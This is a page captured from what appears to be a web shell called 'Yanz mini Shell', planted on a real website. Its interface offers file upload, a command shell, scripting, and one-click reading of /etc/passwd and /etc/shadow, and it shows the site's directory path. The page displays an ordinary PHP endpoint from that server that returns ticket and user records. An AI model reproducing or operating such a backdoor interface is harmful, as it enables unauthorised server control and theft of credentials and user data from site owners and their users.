Yanz mini Shell

[ HomeShell 1 ] [ HomeShell 2 ] [ Upload ] [ Command Shell ] [ Scripting ] [ About ]

[ Directory ] =>

/

home

firstmatrixcoin

public_html

ocean-arc.firstmatrix.co.in

plugins

sparkline

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

[ Delete ] [ Edit ] [ Rename ] [ Back ]

<?php
header('Content-Type: application/json');
include '../../config/config.php'; // Adjust the path as needed

$start = isset($_POST['start']) ? (int)$_POST['start'] : 0;
$end = isset($_POST['end']) ? (int)$_POST['end'] : 10;
$search = isset($_POST['search']) ? trim($_POST['search']) : '';
$fromDate = isset($_POST['from_date']) ? trim($_POST['from_date']) : '';
$toDate = isset($_POST['to_date']) ? trim($_POST['to_date']) : '';

$conditions = "WHERE 1 ";
$params = [];

// Search condition
if (!empty($search)) {
    $conditions .= " AND (
        t.barcode LIKE :search OR users.phone LIKE :search
    )";
    $params[':search'] = "%" . $search . "%";
}

// Date filter conditions
if (!empty($fromDate)) {
    $fromDateTime = $fromDate . ' 00:00:00';
    $conditions .= " AND t.issued_at >= :from_date_full ";
    $params[':from_date_full'] = $fromDateTime;
}
if (!empty($toDate)) {
    $toDateTime = $toDate . ' 23:59:59';
    $conditions .= " AND t.issued_at <= :to_date_full ";
    $params[':to_date_full'] = $toDateTime;
}

// Count query
$countSql = "SELECT COUNT(*) as total 
             FROM users 
             LEFT JOIN tickets t ON t.user_id = users.user_id 
             $conditions";

$countStmt = $pdo->prepare($countSql);
foreach ($params as $key => $value) {
    $countStmt->bindValue($key, $value);
}
$countStmt->execute();
$total = $countStmt->fetch(PDO::FETCH_ASSOC)['total'];

// Data query
$dataSql = "SELECT users.*, t.* 
            FROM users 
            LEFT JOIN tickets t ON t.user_id = users.user_id 
            $conditions
            ORDER BY t.issued_at DESC
            LIMIT :start, :end";

$dataStmt = $pdo->prepare($dataSql);
foreach ($params as $key => $value) {
    $dataStmt->bindValue($key, $value);
}
$dataStmt->bindValue(':start', $start, PDO::PARAM_INT);
$dataStmt->bindValue(':end', $end, PDO::PARAM_INT);
$dataStmt->execute();
$data = $dataStmt->fetchAll(PDO::FETCH_ASSOC);

// JSON response
echo json_encode([
    'total' => $total,
    'data' => $data
]);
exit;
?>

Free Space : 11530264576 Byte